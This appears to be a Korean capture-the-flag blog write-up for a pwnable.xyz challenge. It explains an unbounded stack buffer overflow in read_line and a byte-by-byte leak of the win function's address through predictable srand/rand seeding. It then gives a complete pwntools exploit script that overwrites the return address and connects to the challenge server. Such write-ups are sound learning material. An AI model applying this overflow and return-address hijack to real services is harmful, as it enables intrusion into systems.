void __fastcall read_line(char *buf)
{ char *s; // [rsp+8h] [rbp-18h] char c; // [rsp+1Fh] [rbp-1h] s = buf; while ( read(0, &c, 1uLL) != -1 && c && c != '\n' ) *s++ = c; } |
read_line은 buf가 스택 주소를 가리킬 경우 BOF를 유발한다. (길이 제한 X)
void __fastcall do_seed(uint64_t seed)
{ unsigned int s; // [rsp+1Ch] [rbp-4h] s = (unsigned __int8)(seed >> (8 * (rand() & 7u))); srand(s); } |
do_seed 함수는 인자로 seed를 결정해 srand에 넘겨주는데, 계산 과정을 살펴보면 seed는 0부터 0xFF의 범위로 제한된다는 사실을 알 수 있다.
main에서 do_seed의 인자에 win의 주소가 들어간다. seed 설정 후, encrypt 메뉴를 통해 srand에 들어간 s 값, 즉 win 주소의 1바이트와, 이 주소가 몇 번째 바이트인지를 추론할 수 있다.
초기 상태에서 do_seed를 실행해서 확인하면 rand의 반환값은 0x6b8b4567이고, s는 0이다. 이후에 rand를 적절히 돌려서 win의 주소를 구하고 main의 stack ret에 win의 주소를 쓰면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
#include <stdio.h>
#include <stdlib.h> int main() { setvbuf(stdout, NULL, _IONBF, 0); int opt; unsigned int seed; while (1) { printf("> "); scanf("%d", &opt); switch (opt) { case 1: scanf("%u", &seed); srand(seed); break; case 2: printf("%u\n", rand()); break; } } return 0; } rng.c
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 |
from pwn import *
import argparse import copy def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def RNG_UpdateSeed(seed:int) : rng.writelineafter(b'> ', b'1') rng.writeline(str(seed).encode()) def RNG_GetNumber() : rng.writelineafter(b'> ', b'2') return int(rng.readline(keepends=False)) def InitSamples() : global samples samples = {} for seed in range(0x100) : RNG_UpdateSeed(seed) samples[seed] = [] for i in range(10) : r = RNG_GetNumber() samples[seed].append(r) def Seed() : p.writeafter(b'> ', b'1\x00') def Encrypt(data:bytes) : p.writeafter(b'> ', b'2\x00') p.writeafter(b': ', data+b'\x00') def Print() : p.writeafter(b'> ', b'3\x00') p.readuntil(b': ') return p.readuntil(b'\nMenu', drop=True) def exploit() : RNG_UpdateSeed(0) win = 0 for bindex in range(6) : while True : r = RNG_GetNumber() if (r & 7) == bindex : Seed() RNG_UpdateSeed(bindex) break else : Encrypt(b'A') cds = [i for i in range(0x100)] new_cds = [] i = 0 while len(cds) != 1 : assert(len(cds) != 0) assert(i < 10) Encrypt(b'A') b = Print()[0] for s in cds : if (65+samples[s][i])%0x100 == b : new_cds.append(s) cds = copy.deepcopy(new_cds) new_cds.clear() i += 1 RNG_UpdateSeed(cds[0]) for _ in range(i) : RNG_GetNumber() win |= cds[0] << bindex*8 log_info('win = '+hex(win)) r = RNG_GetNumber() payload = b'A'*0x98 payload += p64(win+4) payload = bytes([(c-r)%0x100 for c in payload]) Encrypt(payload) p.writeafter(b'> ', b'0\x00') p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30040) else : p = process('./challenge') rng = process('./rng') InitSamples() exploit() exploit.py
|
Last update: 5/11/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / PvE (0) | 2020.05.12 |
---|---|
pwnable.xyz / note v3 (0) | 2020.05.11 |
pwnable.xyz / door (0) | 2020.05.06 |
pwnable.xyz / child (0) | 2020.05.06 |
pwnable.xyz / Car shop (0) | 2020.05.06 |